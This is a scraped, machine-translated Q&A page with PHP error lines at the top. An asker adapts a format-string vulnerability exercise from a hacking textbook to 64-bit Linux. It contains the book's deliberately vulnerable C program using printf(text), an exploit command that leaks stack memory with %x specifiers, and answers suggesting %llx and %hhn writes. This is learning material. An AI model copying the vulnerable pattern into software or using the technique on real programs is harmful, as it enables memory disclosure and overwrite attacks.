Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/ruby-on-rails-3/4.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C 格式字符串漏洞_C_Linux_Exploit - Fatal编程技术网

C 格式字符串漏洞

C 格式字符串漏洞,c,linux,exploit,C,Linux,Exploit,我目前正在阅读黑客攻击的艺术,其中谈到了格式字符串漏洞。本书的练习试图通过将地址写入堆栈并使用格式参数读取,从而从内存的任意部分读取数据。问题是,这个练习是为32位系统编写的,而我正在使用64位系统。我尝试使其适用于64位系统,如下所示: ./fmt_vuln $(printf "\xaa\xee\xff\xff\xff\x7f")%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x 我从壳牌公司得到的回应是: 打印用户控制输入的正确方法: ???%0

我目前正在阅读黑客攻击的艺术,其中谈到了格式字符串漏洞。本书的练习试图通过将地址写入堆栈并使用格式参数读取,从而从内存的任意部分读取数据。问题是,这个练习是为32位系统编写的,而我正在使用64位系统。我尝试使其适用于64位系统,如下所示:

./fmt_vuln $(printf "\xaa\xee\xff\xff\xff\x7f")%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x
我从壳牌公司得到的回应是:

打印用户控制输入的正确方法:

???%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x

错误的方法 打印用户控制的输入:

00000000 55755010.00000000 F7DD18C0.00000000 F7AF4154.000000000000000.0000000000000 35.0 FFFFFFE088.000000005543C0.00000000ffffeeaa

[*]测试值@0x55755010= -72 0xFFFFB8

如您所见,我只能读取下面4个字节0xFFFFEEAA,上面2个字节为gone0x7FFF。有没有想过我该怎么解决这个问题

顺便说一句,以下是本书中fmt_vuln的代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
   char text[1024];
   static int test_val = -72;

   if(argc < 2) {
      printf("Usage: %s <text to print>\n", argv[0]);
      exit(0);
   }
   strcpy(text, argv[1]);

   printf("The right way to print user-controlled input:\n");
   printf("%s", text);


   printf("\nThe wrong way to print user-controlled input:\n");
   printf(text);

   printf("\n");

   // Debug output
   printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

   exit(0);
}
以下是我的外壳的屏幕截图:

尝试使用%016llx long long x而不是%016x读取,因为您正在读取的是64位十六进制,而不是32位。

非常感谢!现在它正在工作,但它的读数是0x30257fffffeeaa,而不是0x00007fffffeeaa。我也有办法解决这个问题吗?另外,同样的技术是否也适用于%s和%n?对于%s,您不需要任何东西;对于%n,您可以执行%hhn,以便在64位系统中覆盖,通常一次覆盖1或2个字节。地址不同可能是因为您没有确切的填充,或者您正在读取另一个地址,该地址是ASLR,并且每次都不同。请说明错误。图片上的文字太小,无法阅读。此外,搜索引擎无法为将来的访问者编制文本索引。@jww修复了此问题,谢谢